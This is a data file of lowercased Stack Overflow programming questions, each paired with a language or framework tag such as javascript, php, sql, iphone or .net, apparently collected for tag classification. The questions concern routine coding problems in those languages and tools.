how to escape # in javascript to retrive object property  i have javascript object as below. how can i get value for serial#  like i can retrieve *.inst_id or *.instance. how can i escape # and get the value required. so far i have tried serial#23% but none helped so far.   <pre><code>var t = { inst_id : 1   instance : xina   sid : 27   serial# : 48810    program : perl@app01 } console.log(ksess.serial%23); gives syntax error </code></pre>   i am parsing variable  t  this data is coming from java code  so there is nothing much i can do to change serial# to something else any idea,javascript
created tabbar programmatically and implemented reside menu but its not working  i have created tabbar controller programmatically and i have to add reside menu..i implemented  reside menu and done all process but its not working.    here is my code:   <pre><code> - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     // override point for customization after application launch.      self.tabbarcontroller =[[uitabbarcontroller alloc]init];      uinavigationcontroller *navigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:[[leftmenuview alloc] init]];     leftmenuview *leftmenuviewcontroller = [[leftmenuview alloc] init];      residemenu *sidemenuviewcontroller=[[residemenu alloc]initwithcontentviewcontroller:navigationcontroller leftmenuviewcontroller:leftmenuviewcontroller rightmenuviewcontroller:leftmenuviewcontroller];        sidemenuviewcontroller.backgroundimage = [uiimage imagenamed:@ logo ];     sidemenuviewcontroller.menupreferredstatusbarstyle = 1; // uistatusbarstylelightcontent     sidemenuviewcontroller.delegate = self;     sidemenuviewcontroller.contentviewshadowcolor = [uicolor blackcolor];     sidemenuviewcontroller.contentviewshadowoffset = cgsizemake(0  0);     sidemenuviewcontroller.contentviewshadowopacity = 0.6;     sidemenuviewcontroller.contentviewshadowradius = 12;     sidemenuviewcontroller.contentviewshadowenabled = yes;     self.window.rootviewcontroller = sidemenuviewcontroller;        //initialize view controller and speciality      uiviewcontroller *viewcontroller1=[[homeview alloc]init];     uiviewcontroller *viewcontroller2=[[speciality alloc]init];     uiviewcontroller *viewcontroller3=[[activity alloc]init];     uiviewcontroller *viewcontroller4 =[[notification alloc]init];     uiviewcontroller *viewcontroller5 =[[profile alloc]init];   uiviewcontroller *viewconroller6=[[leftmenuview alloc]init];           [navigationcontroller pushviewcontroller:viewconroller6 animated:yes];       self.tabbarcontroller.viewcontrollers=[nsarray arraywithobjects:viewcontroller1 viewcontroller2 viewcontroller3 viewcontroller4 viewcontroller5  nil];     self.window.rootviewcontroller =self.tabbarcontroller;     self.tabbarcontroller.tabbar.bartintcolor =  [uicolor colorwithred:0.376 green:0.729 blue:0.318 alpha:1.000];       self.window.backgroundcolor=[uicolor whitecolor];     [self.window makekeyandvisible];     return yes; } </code></pre>   //homeview.h   <pre><code>-(id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil{     self=[super initwithnibname:nibnameornil bundle:nibbundleornil];      if (self){          uiview *singleview=[[uiview alloc]initwithframe:cgrectmake(0  0  320  480)];          self.title=@ home ;           self.tabbaritem.image=[uiimage imagenamed:@ home.png ];          uinavigationbar *navbar = [[uinavigationbar alloc]initwithframe:cgrectmake(0  0  cgrectgetwidth(self.view.frame)  50)];          [navbar settranslucent:yes];         [navbar setbackgroundcolor:[uicolor colorwithred:0.376 green:0.729 blue:0.318 alpha:1.000]];         [singleview addsubview:navbar];             uibutton *btn=[uibutton buttonwithtype:uibuttontypesystem];         [btn addtarget:self action:@selector(presentleftmenuviewcontroller:) forcontrolevents:uicontroleventtouchupinside];         [btn settitle:@ menu  forstate:uicontrolstatenormal];         btn.frame=cgrectmake(20  25  40  40);         [singleview addsubview:btn];           [self.view addsubview:singleview];      }     return self;  } </code></pre>,ios
automatic links clickable new window in php print  how to make links clickable in this php print code.i have tried add some links in details it just show them in plain text.i want them to be clickable new window link automatically    below is my my code:   <pre><code>&lt; php print $details;  &gt; </code></pre>   like i add details like this  visit <a href= http://facebook.com  rel= nofollow >http://facebook.com</a> please  so i want  <a href= http://facebook.com  rel= nofollow >http://facebook.com</a>  to be clickable.,php
asp.net header disappearing upon opening view  i have a _layout.cshtml which contains everything but the page-specific body of the website. within this layout i have a header that looks like this:   <pre><code>&lt;div id= header &gt;     &lt;img src= content/images/header.jpg  /&gt; &lt;/div&gt; </code></pre>   the navigation menu consists of a few actionlinks that redirect me to the corresponding view.    my problem is that whenever i navigate to a page that is not the homepage  the header disappears. i can t see why this would happen  because every _layout is the same  right     thank in advance.,asp.net
stack checking html tag balance in c++  i have a problem where i m trying to use a stack to check if an html file has balanced tags. i have the program working with c++ file. it checks if the brackets are balanced. the problem is the tags like  is to big the fit in a char. i m getting an error too many characters in character constant. is there a way around his    <pre><code>bool balanced(char a[]  int n) { int i;  stack &lt;char&gt; a;      for (i = 0; i &lt; n; i++) {      if (a[i] ==  &lt;head&gt;  || a[i] ==  &lt;title&gt;  || a[i] ==  &lt;body&gt; ) {         a.push(a[i]);     }     else     {          switch (a[i]) {          case  &lt;/head&gt; :              a.top();             a.pop();              break;         case  &lt;/title&gt; :              a.top();             a.pop();              break;         case  &lt;/body&gt; :              a.top();             a.pop();              break;            }       }    } </code></pre>,c++
.net framework  .netportable and .net standard  what is actually the difference between these three  i understand .net portable is obsolete  pretty much  but what about the other two.,.net
using a string variable in place of a button name  i want to create a string to use in place of the name of a button.    for example  i want to set the background of a button programmatically. but i want the name to come from a string variable. that way  if i want to change the background image of a button called button1  i could put  button1  into my nsstring and call it mybutton...and then reference the actual button1 as  mybutton     how would i do this,objective-c
data truncation exception in mysql for decimal field  this might seem as a very silly question to many of you. i saw many discussions online regarding this.still posting it  for getting more clarity on the datatype.    there is a mysql database maintained for our application. it has a table with a decimal(4 2) field called  score .  the below statement is giving exception- data truncation: out of range value for column  score  at row 1   <pre><code>      update interaction_events set score=100.0 where id=92; </code></pre>   decimal(4 2) implies there could be 4 digits where 2 are after the decimal points  have i understood this wrongly     could you please help.,mysql
how to get the data of the column of a gridview of an asp:linkbutton   i have a gridview in which in every row there is a checkbox and a linkbutton..when i will check the checkbox i want to get the text of the checkboxes..but by my code i am getting null in the text of the linkbutton... my code   <pre><code> &lt;asp:gridview id= gridview5  autogeneratecolumns =  false   runat= server  onpageindexchanging =  gridview1_pageindexchanging  allowpaging= true  backcolor= white  bordercolor= white  borderwidth= 2px  cellpadding= 3  pagesize= 6   borderstyle= ridge  cssclass= grid  cellspacing= 1  gridlines= none   &gt;         &lt;columns&gt;             &lt;asp:templatefield&gt;                 &lt;itemtemplate&gt;                     &lt;asp:checkbox id= filecheckbox   runat= server  /&gt;                 &lt;/itemtemplate&gt;             &lt;/asp:templatefield&gt;            &lt;asp:templatefield headertext= contest name &gt;                &lt;itemtemplate&gt;                 &lt;asp:linkbutton text= &lt;%#eval( contest name )%&gt;  postbackurl= &lt;%# string.format( dynamic.aspx id=3&amp;filepath={0}    eval( contest name )   ) %&gt;  runat= server  /&gt;             &lt;/itemtemplate&gt;             &lt;itemstyle width= 250px  cssclass= itemstyle &gt;&lt;/itemstyle&gt;         &lt;/asp:templatefield&gt;        &lt;/asp:gridview&gt; </code></pre>   where i am retrieving the text   <pre><code> for (int i = 0; i &lt; gridview5.rows.count; i++)     {         checkbox chk = (checkbox)gridview5.rows[i].findcontrol( filecheckbox );         if (chk.checked == true)         {             string connectionstring = configurationmanager.connectionstrings[ connectionstring ].connectionstring;             sqlconnection conn = new sqlconnection(connectionstring);             conn.open();             string probname = gridview5.rows[i].cells[1].text.tostring();          }    } </code></pre>   here i am getting the string of probname as null,asp.net
remote validator issue in jquery  i am working with bootstrapvalidator and i am using remote validator for checking that the data is already existing in the database or not.    my php script is called properly and i am able to see that the data exists or not. but the issue is that when i enter new entry  my submit button disabled and focus on the field that i m checking for existing data.    below is the jquery code:   <pre><code>$( #form_add_hotel ).bootstrapvalidator({         message:  this value is not valid           live:  enabled           excluded: [ :disabled ]      feedbackicons: {         valid:  glyphicon glyphicon-ok           invalid:  glyphicon glyphicon-remove           validating:  glyphicon glyphicon-refresh      }      submithandler: function(validator  form  submitbutton) {          $( #form_add_hotel ).bootstrapvalidator( disablesubmitbuttons   false);   }      fields: {         hotel_name: {             //verbose: false              validators: {                 stringlength: {                         min: 3                          max: 20                          message:  the hotel name must be more than 3 and less than 20 characters long                  }                  notempty: {                     message:  the hotel name is required and can\ t be empty                  }                   remote: {                     type:  post                       url:  php/validation-hotel.php                       data: function(validator) {                             return {                                value: validator.getfieldelements( hotel_name ).val()                             };                     }                       message:  the hotel name already exists                  }              }         } }); </code></pre>   i dont knw the reason for disabling the submit button. please help to find out the issue,jquery
c loop patterns  i ve got my code half way working but i can t get the other half to work.    what pattern needs to look like:   <blockquote>    1sssss<br>   s2ssss<br>   ss3sss<br>   sss4ss<br>   ssss5s<br>   sssss6  </blockquote>   what my pattern looks like:   <blockquote>    1<br>   s2<br>   ss3<br>   sss4<br>   ssss5<br>   sssss6  </blockquote>   here is my code   <pre><code>#include &lt;stdio.h&gt; int main() {     int i  j  k  num;      printf( enter number  );     scanf( %d   &amp;num);      for (i = 1; i &lt;= num; ++i)     {         for (j = 1; j &lt;= i; ++j)         {             if (j != i) {                 printf( s );             }         }          printf( %d    j-1);         printf( \n );     }      return 0; } </code></pre>,c
"error in parsing value for  border-radius . declaration dropped. (and others)  i ve got a super simple site i m experimenting with jquery. i ve a css stylesheet but some of the properties are just getting ignored. for example  i m setting the padding and border-radius properties. i checked the browser (firefox  though chrome is the same):   <blockquote>    error in parsing value for  padding .  declaration dropped. stylesheet.css:26:12        error in parsing value for  border-radius .  declaration dropped. stylesheet.css:28:15        error in parsing value for  border-radius .  declaration dropped. stylesheet.css:33:15        error in parsing value for  width .  declaration dropped. stylesheet.css:40:7        error in parsing value for  height .  declaration dropped.  </blockquote>   even width and height  which i ve actually managed to set for some other divs! it seems totally random  some properties just don t get parsed  such as the border-radius.    so the result (snippet below) looks like this: <a href= https://i.stack.imgur.com/t2rsp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/t2rsp.png  alt= enter image description here ></a>    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>google.load( visualization    1   {packages: [ corechart    line ]});
 google.setonloadcallback(drawbasic);
 
 $(document).ready(function() {
    $( .square ).mouseenter(function() {
        $(this).animate({
            width:  +=30px 
        });
    });
    $( .square ).mouseleave(function() {
        $(this).animate({
            width:  -=30px 
        });
    });
    $( .square ).click(function() {
        $(this).toggle(1000);
    });
    
    var size = 10;
    var graphdata = [new array(size) new array(size)];
    
    var column1 = graphdata[0];
    var column2 = graphdata[1];
    
    column1[0] =  data1 ;
    column2[0] =  data2 ;
    
    for (i = 1; i &lt; column1.length; i++) {
     column1[i] = i;
     column2[i] = 2*i;
  }
    
    var chart = c3.generate({
      bindto:  #chart  
      data: {
          columns: [
              [ data set 1 ].concat(column1) 
              [ data set 2 ].concat(column2)
          ] 
          types: {
            data set 1 :  step  
            data set 2 :  step 
          }
      }
  });
    
    
    
 });
 
 function drawbasic() {
 
     var data = new google.visualization.datatable();
     data.addcolumn( number    x );
     data.addcolumn( number    dogs );
     
   
     var size = 40;
     var column1 = new array(size);
     
     var last = 0;
     for (i = 0; i &lt; column1.length; i++) {
      var newn = last + (0.5 - math.random());
      column1[i] = [i newn];
      last = newn;
   }
     data.addrows(column1);
 
 
     var options = { 
       haxis: {
         title:  time2 
       }  
       vaxis: {
         title:  popularity 
       }
     };
 
     var chart = new google.visualization.linechart(document.getelementbyid( chart_div ));
 
     chart.draw(data  options);
   }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>@charset  iso-8859-1 ;
 
 #red {
     background-color:#ff0000;
 }
 
 #blue {
     background-color:#0000ff;
 }
 
 #yellow {
     background-color:#e2be22;
 }
 
 #green {
     background-color:#008800;
 }
 
 .blockspace {
  height:70px;
     width:400px;
     
     margin-left:auto;
     margin-right:auto;
     
     padding:10;
     
  border-radius:10;
  background-color:#c8d8e8;
 }
 
 .square {
  border-radius:10;
  height:50px;
     width:50px;
     display: inline-block;
 }
 
 .chart {
  width:350;
  height:300;
  display:inline-block;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
  &lt;meta charset= iso-8859-1 &gt;
  &lt;title&gt;hello world!&lt;/title&gt;
  
  &lt;!-- load c3.css --&gt;
  &lt;!-- &lt;link rel= stylesheet  type= text/css  href= libraries/bootstrap-3.3.5-dist/css/bootstrap.css &gt;--&gt;
  &lt;link rel= stylesheet  type= text/css  href= libraries/c3-0.4.10/c3.css &gt;
  &lt;link rel= stylesheet  type= text/css  href= libraries/nvd3-master/build/nv.d3.min.css &gt;
  &lt;link rel= stylesheet  type= text/css  href= style/stylesheet.css /&gt;
  
  &lt;!-- load d3.js and c3.js --&gt;
  &lt;!-- &lt;script src= libraries/c3-0.4.10/d3.v3.min.js  charset= utf-8 &gt;&lt;/script&gt; --&gt;
  &lt;script src= http://d3js.org/d3.v3.min.js  charset= utf-8 &gt;&lt;/script&gt;
  &lt;script src= libraries/c3-0.4.10/c3.min.js &gt;&lt;/script&gt;
  &lt;script src= libraries/nvd3-master/build/nv.d3.min.js &gt;&lt;/script&gt;
  &lt;script type= text/javascript  src= https://www.google.com/jsapi &gt;&lt;/script&gt;
       
  
  &lt;!-- load jquery and script --&gt;
  &lt;script src= http://code.jquery.com/jquery-1.11.0.min.js &gt;&lt;/script&gt;
  &lt;script type= text/javascript  src= script/script.js &gt;&lt;/script&gt;
 &lt;/head&gt;
 &lt;body&gt;
  &lt;h1&gt;a big hello&lt;/h1&gt;
  &lt;p&gt;why don t you enjoy these coloured squares:&lt;/p&gt;
  &lt;div class= blockspace &gt;
   &lt;div class= square  id= red &gt;&lt;/div&gt;
   &lt;div class= square  id= blue &gt;&lt;/div&gt;
   &lt;div class= square  id= yellow &gt;&lt;/div&gt;
   &lt;div class= square  id= green &gt;&lt;/div&gt;
  &lt;/div&gt;
  
  &lt;div class= chartexperiments &gt;
   &lt;div class= chart  id= chart &gt;&lt;/div&gt;
   &lt;div class= chart  id= chart_div &gt;&lt;/div&gt;
  &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",css
function and variables issue  i have a problem.. when i execute this code:   <pre><code>public function korisnici(){     $modelk = new korisnici();     $upit = $modelk::find()-&gt;asarray()-&gt;orderby( id desc )-&gt;all();     $items = [];     foreach ($upit as $key =&gt; $value) {         foreach ($value as $kljuc =&gt; $vrijednost){             $items[] = [$kljuc =&gt; $vrijednost];         }     }     return $items; }  private static $users = $this-&gt;korisnici(); </code></pre>   it gives me this error: syntax error  unexpected  $this  (t_variable)..    can someone help me  how can i call this function     here s my whole class:   <pre><code>class user extends \yii\base\object implements \yii\web\identityinterface { public $id; public $username; public $password; public $authkey; public $accesstoken; public $arr;  public function korisnici(){     $modelk = new korisnici();     $upit = $modelk::find()-&gt;asarray()-&gt;orderby( id desc )-&gt;all();     $items = [];     foreach ($upit as $key =&gt; $value) {         foreach ($value as $kljuc =&gt; $vrijednost){             $items[] = [$kljuc =&gt; $vrijednost];         }     }     return $items; }  public $users = $this-&gt;korisnici();  /**  * @inheritdoc  */ public static function findidentity($id) {     return isset(self::$users[$id])   new static(self::$users[$id]) : null; }  /**  * @inheritdoc  */ public static function findidentitybyaccesstoken($token  $type = null) {     foreach (self::$users as $user) {         if ($user[ accesstoken ] === $token) {             return new static($user);         }     }      return null; }  /**  * finds user by username  *  * @param  string      $username  * @return static|null  */ public static function findbyusername($username) {     foreach (self::$users as $user) {         if (strcasecmp($user[ username ]  $username) === 0) {             return new static($user);         }     }      return null; }  /**  * @inheritdoc  */ public function getid() {     return $this-&gt;id; }  /**  * @inheritdoc  */ public function getauthkey() {     return $this-&gt;authkey; }  /**  * @inheritdoc  */ public function validateauthkey($authkey) {     return $this-&gt;authkey === $authkey; }  /**  * validates password  *  * @param  string  $password password to validate  * @return boolean if password provided is valid for current user  */ public function validatepassword($password) {     return $this-&gt;password === $password; } </code></pre>   }    i m trying to change this default model from yii framework so i can login using database...,php
what am i missing from this sql  what am i missing in the below:   <pre><code>where sls.salesstatus in (1 2 3)   and hdr.deliverydate &lt;&gt; (case isnull(sls.salesstatus  1 ) </code></pre>   i am getting this error message: incorrect syntax near  )     thank you!,sql
inserting data using a sub query and a standard value  i am trying to insert data into a table using a sub query. i want to select the data i need based on the where clause and then insert this into the table. however the playlistid isn t part of the tbltrack table and i want to input this as a value which i set but within the same sql query. how would i go about doing this  sorry this may be a simply answer  i am relatively new to using sql.   <pre><code>insert into tblplaylist_tracks (trackid  artistid  albumid  playlistid) values  (select trackid  artistid  albumid from tbltrack where track_name =  pacifier   7); </code></pre>,sql
should `system.io.path` be concrete   members of the <code>path</code> class like <code>path.combine</code> are indispensable. they lead to great  clean  correct code. unfortunately  if you use it for something like managing header paths in a c++ preprocessor  you ll quickly realize that it s showing up more than expected in the profiler. why    <blockquote>    exceptions: argumentexception: <em>path1</em> or <em>path2</em> contain one or more of the invalid characters defined in  <code>getinvalidpathchars</code>.  </blockquote>   even without the check  the combine command is o(n) (since it has to copy the string contents). however  that is much less expensive than checking for the existence of any of <code>getinvalidpathchars</code>  ~40 members.    i believe that the <code>path</code> class should be an immutable type that contains a string known to not contain any invalid characters. static members should be provided for operating on <code>string</code> (as exists now) and an identical set added for working on <code>path</code> objects. making this change in the .net framework:   <ul> <li>is not a breaking change (changing a static class to a sealed concrete type is non-breaking)</li> <li>significantly improves performance of several best-practices operations</li> </ul>   opinions,.net
rails helper to give a upload file a unique name   hey guys i m now working on a project that require upload a lot of videos  does rails have this helper can handle this  like the address of youtube video :   <blockquote>    www.youtube.com/watch v=kyuhtpv_lk4  </blockquote>   thanks,ruby-on-rails
html page is working but aspx page is not working on iis  iis aspx website is not running if i include any aspx page but html page is working well and there are 2 more another application which is also aspx page that running very well.  please help,asp.net
equivalent tr of css   how do you separate the menu bar from the body in a div  to place everything after contact below it  is there a corresponding code like a newline   i would really appreciate the help :) thanks in advance here s a link of picture shot:     <strong>css</strong>   <pre class= lang-css prettyprint-override ><code>/* because of the * default code it takes out all margin and padding */ * {     margin: 0px;     padding: 0px; } #container {     display: table; } #row {     display: table-row; } #left  #right  #middle {     display: table-cell; } #row {     display: table-row; } #left  #right  #middle {     display: table-cell; } body {     font-family: verdana;     font-size: 10px;     background-color: abc;     padding: 50px;     margin: auto; } h1 {     text-align: center; } ul {     list-style: none;     margin: 0;     padding: 0; } li {     float: left;     position: relative; } li + li {     border-left: 1px solid #ccc; } a {     display: block;     padding: 7px 10px;     color: #222;  /*changes the color of all item font color in menu bar */     background: #eee; /*changes the background color of menu bar */     text-decoration: none; } a:hover {     color: #fff;     background: #666; /* changes hover bg color of any menu item being pointed*/ } a:active {     color: #f2f75e;     background: #0090cf; } /* child menu styles */ .level-two {     position: absolute;     top: 100%;     left: -9999px;     width: 100px; } li:hover .level-two {     left: 0; } .level-two li {     width: 100%;     border: 0;     border-top: 1px solid #ccc; } </code></pre>   <strong>html</strong>   <pre class= lang-html prettyprint-override ><code>&lt;h1&gt;   &lt;ul class= level-one &gt;     &lt;li&gt; &lt;a href= # &gt;home&lt;/a&gt; &lt;/li&gt;     &lt;li&gt; &lt;a href= # &gt;drops&lt;/a&gt;       &lt;ul class= level-two &gt;         &lt;li&gt; &lt;a href= # &gt;one&lt;/a&gt; &lt;/li&gt;         &lt;li&gt; &lt;a href= # &gt;two&lt;/a&gt; &lt;/li&gt;         &lt;li&gt; &lt;a href= # &gt;three&lt;/a&gt; &lt;/li&gt;       &lt;/ul&gt;     &lt;/li&gt;     &lt;li&gt; &lt;a href= # &gt;contact&lt;/a&gt; &lt;/li&gt;   &lt;/ul&gt;   &lt;/div&gt;   &lt;div id= container &gt;     &lt;div id= row &gt;       &lt;div id= left &gt;         &lt;h4&gt;left col&lt;/h4&gt;         &lt;p&gt;...&lt;/p&gt;       &lt;/div&gt;       &lt;div id= middle &gt;         &lt;h4&gt;middle col&lt;/h4&gt;         &lt;p&gt;...&lt;/p&gt;       &lt;/div&gt;       &lt;div id= right &gt;         &lt;h4&gt;right col&lt;/h4&gt;         &lt;p&gt;...&lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/h1&gt; </code></pre>,css
jquery parse html string and do some operations on it  i have a dynamically created html string (a table rows). that rows count in that string can be greater than 1.     <pre><code>string myhtml =               &lt;tr&gt;                &lt;td class= text-left &gt;                   &lt;label class= label-none &gt;a.docx&lt;/label&gt;                &lt;/td&gt;                &lt;td&gt;                   &lt;label class= label-none &gt;manuscript &lt;/label&gt;                &lt;/td&gt;                &lt;td&gt;                    &lt;input class= del-file-cb  file-id= 71  type= checkbox  /&gt;                &lt;/td&gt;             &lt;/tr&gt;               etc... </code></pre>   <strong>before inserting</strong> it to the dom element (table) i want to check if inside it exists a checkbox input with the specific value of the <code>file-id</code> attribute. if so  i want to change the <code>text</code> of the 1st <code>label</code> (<strong>in the row where that found checkbox is placed</strong>) to e.g. <code>lorem</code>  and the 2nd <code>label</code> s <code>text</code> to e.g. <code>ipsum</code>. how to do that     <h2>edit</h2>   also here are some useful informations <a href= https://stackoverflow.com/questions/704679/parse-html-string-with-jquery >stackoverflow.com/questions/704679/parse-html-string-with-jquery</a>,jquery
what is the definitive meaning of  requesting resource failed because it is complex  in android   this exception message has been reported widely  but it is never mentioned in any of android s official documentations.    i do not have any code to show  because it is sporadic and so far i cannot find any patterns as to what causes it to happen.,android
blocking execution  until confirmation alertview is dismissed by user  and returning result  how can i make my delegate method wait until the user makes a choice to the alertview confirmation    <pre><code>bool userchoice = false; </code></pre>   i have this delegate method:   <pre><code>-(bool) returnuserchoiceyesorno:(nsstring*)message { //delegate method  uialertview *msgbox = [[uialertview alloc] initwithtitle:@ your choice  message:message delegate:self cancelbuttontitle:@ cancel  otherbuttontitles:@ ok  nil];      [msgbox show];      [msgbox release];  //// how can i make it wait here  until i receive user responce from clickedbuttonatindex   (without using while loop or infinite loops)  return userchoice;   }  - (void)alertview:(uialertview *)alertview clickedbuttonatindex:(nsinteger)buttonindex{  if(buttonindex==0) { userchoice = no; else { userchoice = yes; }  } </code></pre>,iphone
php move upload file with ftp_put <pre><code>move_uploaded_file();  ftp_put(); </code></pre>   i have a input type file  let user upload image.    i try to save user s image to different server or sub domain.    so if anyone uploads a malicious file to the server it wont execute on my main server.    my questions are   <ol> <li> how can i use <strong><code>move_uploaded_file</code></strong> with <code>ftp_put</code>  </li> <li> should i get another server or sub domain is enough  </li> </ol>,php
strfry(char *__string) returns int   so i m new to c and i m playing around with functions in the gnu c library when i come across <a href= https://www.gnu.org/software/libc/manual/html_node/strfry.html#strfry  rel= nofollow >https://www.gnu.org/software/libc/manual/html_node/strfry.html#strfry</a>    intrigued  i wrote a little tester program:   <pre><code>1 #include &lt;stdio.h&gt; 2 #include &lt;string.h&gt; 3  4 main () 5 { 6     char *str =  test123abc ; 7     char *other; 8  9     other = strfry(str); 10    printf( %s\n   other); 11     return 0; 12 } </code></pre>   <code>gcc test.c</code> outputs <code>test.c:9: warning: assignment makes pointer from integer without a cast</code>    why     <code>/usr/include/string.h</code> has the following entry:    <code>extern char *strfry (char *__string) __throw __nonnull ((1));</code>    how can a <code>char *function(...)</code> return <code>int</code>     thanks,c
inaccurate device orientation returned by uideviceorientationdidchangenotification  i m listening to the uideviceorientationdidchangenotification in order to adjust my ui based on the device s orientation.     the problem is that the device orientation i m getting from the notification seems inaccurate. if i start with the phone in portrait orientation and vertical (as if taking a picture with it) the orientation i get from the notification is correct. as the tilt of the phone approaches horizontal (as in laying flat on a table top) the orientation switches to landscape. this happens much before the phone is actually flat on the table. and this is without rotating the phone towards landscape at all. is as if it had a preference for landscape.     when using other apps  like mail  i don t see this same behavior. it seems that mail only switches orientation once it s really sure you ve gone to the new orientation.    any help greatly appreciated.    thanks,iphone
simple for loop needing explained  i know this is going to sound silly but i cannot for the life of me figure out the logic behind how this for loop returns 13 11 9 7.   <pre><code>    for i in range(13 5 -1):         if i % 2 != 0:             print i </code></pre>   i know the first value is the number it starts with  the second is where it stops  and the third being the steps it takes. the  if i % 2 !=0:  is what is throwing me off. can anybody explain what is happening for me,python
asp.net config data  i m working with asp.net and c#. i don t know where to store the configuration setting for my web app.    every time a page loads the app reads the master page. on the master page  everytime i need to get the following data:   <ul> <li> meta tags for the site  the users have to be able to change this data in their cms  so i think the best for this is to store in the database. so every time a user request a page the web app is going to query the database. </li> <li> some configuration like the master page we are using (we use several for several templates)  and some other config. we think we can store this in the web.config since users can t modify these values. </li> </ul>   in the past we used an xml file to read the meta tags  but we ythink is better to use the database.     also  does it cost a lot for the web app to access the web.config in every page  i mean  to do  configurationmanager.appsettings[ variable ];     thanks a lot !!!,asp.net
how can i create an array with n zeros   i want an array with n zeroes  like   <pre><code>[0 0 0 0...0] </code></pre>   i could do a for-loop and push them all  but is there a nicer way    <pre><code>var x = [] for (var i = 0; i &lt; n; i++) {     x.push(0) }; </code></pre>,javascript
update table column wiht unique string using where exist statment  i have unique column url varchar(4)  and want to update it to unique random string  but having problems with duplicated items. so i want to create loop something like this  but having problem with targeting twice same table.   <pre><code>update ignore word set url = (select group_concat(substring( 1234567890qwertyuiopasdfghjklzxcvbnm    1+ floor(rand()*length( 1234567890qwertyuiopasdfghjklzxcvbnm ))      1) separator   )    from (select 1 union select 2 union select 3 union select 4) as dummy_tbl)  where exists (select url from word where url is null); </code></pre>   what is the best way to fill my column  with single query,mysql
jquery response showing response but is not being evaluated as true  here s my jquery code   <pre><code>jquery.ajax({   url:  &lt;my url in here&gt;     type:  post                  success: function (response) {                                 if(response== hello ){       alert( yes success );     } else {       alert( test1  + response);     }   }                      }); </code></pre>   it s showing the alert test1hello which is signifying that response s value is hello  however  why is it not showing yes success,jquery
how do i check if a filename matches a wildcard pattern   i know i can do   <pre><code>directory.getfiles(@ c:\    *.html ) </code></pre>   and i ll get a list of files that match the *.html file pattern.    i d like to do the inverse. given file name abc.html  i d like a method that will tell me if that filename matches the *.html pattern. for instance   <pre><code>class.method( abc.html    *.html ) // returns true class.method( abc.xml    *.html ) // returns false class.method( abc.doc    *. oc ) // returns true class.method( jan24.txt    jan*.txt ) // returns true class.method( dec24.txt    jan*.txt ) // returns false </code></pre>   the functionality must exist in dotnet. i just don t know where it s exposed.     converting the pattern to regex could be one way to go. however it just seems like there are a lot of edge cases and may be more trouble than it s worth.    note: the filename in questions may not exist yet  so i can t just wrap a directory.getfiles call and check to see if the result set has any entries.,.net
geo location and blocking access to my app on iphone  i am working on a radio player for iphone. what i need is to provide my position before playing stream. i am thinking of using corelocation  it s ok  but how to determine geo position if user does not allow corelocation when asked      what would be the best way to determine the position of the iphone  i was thinking of getting ip address  but it could be an address from another country. for exemple  user has an iphone account in united states  and is using my application in 3g in canada  ip address will be provided by his cell carrier right      so i was wondering how to get cell carrier name  without success... using a private framework is not possible.    i am waiting for your great suggestions!    thierry,iphone
confusion about the future of .net compact framework  i m very confused about the future of .net compact framework. it seems that windows phone 7 does not allow installing software manually and a small portion of the .net compact framework exists on such phone. can anyone tell me the future of .net compact framework,.net
nsinternalinconsistency exception in uitableview <pre><code>- (uitableviewcell*)tableview:(uitableview*)tableview cellforrowatindexpath:(nsindexpath*)indexpath {     static nsstring* cellidentifier = @ messagecellidentifier ;      messagetableviewcell* cell = (messagetableviewcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil)         cell = [[messagetableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];      message* message = [self.datamodel.messages objectatindex:indexpath.row];           [cell setmessage:message];      return cell;  } </code></pre>   i am developing an chat application in which i am getting exception when sending and receiving messages happening at the same time.the following is the exception message   <blockquote>    <strong>assertion failure in -[uitableview _endcellanimationswithcontext:]  /sourcecache/uikit/uikit-2380.17/uitableview.m:1070 2013-04-30   16:55:14.314 [2689:907] <em></strong> terminating app due to uncaught exception    nsinternalinconsistencyexception   reason:  invalid update: invalid   number of rows in section 0</em>*.  </blockquote>   the number of rows contained in an existing section after the update (19) must be equal to the number of rows contained in that section before the update (17)  plus or minus the number of rows inserted or deleted from that section (1 inserted  0 deleted) and plus or minus the number of rows moved into or out of that section (0 moved in  0 moved out).    <pre><code>- (int)tableview:(uitableview*)tableview numberofrowsinsection:(nsinteger)section {     return [self.datamodel.messages count]; }      - (void)didsavemsg:(nsmutablearray *)array1     {         self.datamodel.messages = array1;          [tableview insertrowsatindexpaths:[nsarray arraywithobject:[nsindexpath indexpathforrow:array1.count-1 insection:0]] withrowanimation:uitableviewrowanimationfade];          [self scrolltonewestmessage];     }    - (void)scrolltonewestmessage {      dispatch_after(dispatch_time_now  dispatch_get_main_queue()  ^(void){     nsindexpath* indexpath = [nsindexpath indexpathforrow:(self.datamodel.messages.count - 1) insection:0];      [tableview scrolltorowatindexpath:indexpath atscrollposition:uitableviewscrollpositiontop animated:yes];     });      [tableview reloaddata];     [[dbmodel database]updatemessagecount1:mobileno cnt:@ 0 ];   } </code></pre>,objective-c
how to remove duplicates in strings within list   i have list of string but in each string is duplicate i need to remove. f.e.:    <pre><code>lst = ( word1 2 36 2 2    word2 96 5 5 5 14   word3 45 6 45 45 )  </code></pre>   etc.    i need:    <pre><code>lst = ( word1 2 36   word2 96 5 14   word3 45 6 ) </code></pre>,python
.net programs are compiled to dll or exe file types called  assemblies.  do assemblies contain machine-executable code  .net programs are compiled to dll or exe file types called  assemblies.  do assemblies contain machine-executable code,.net
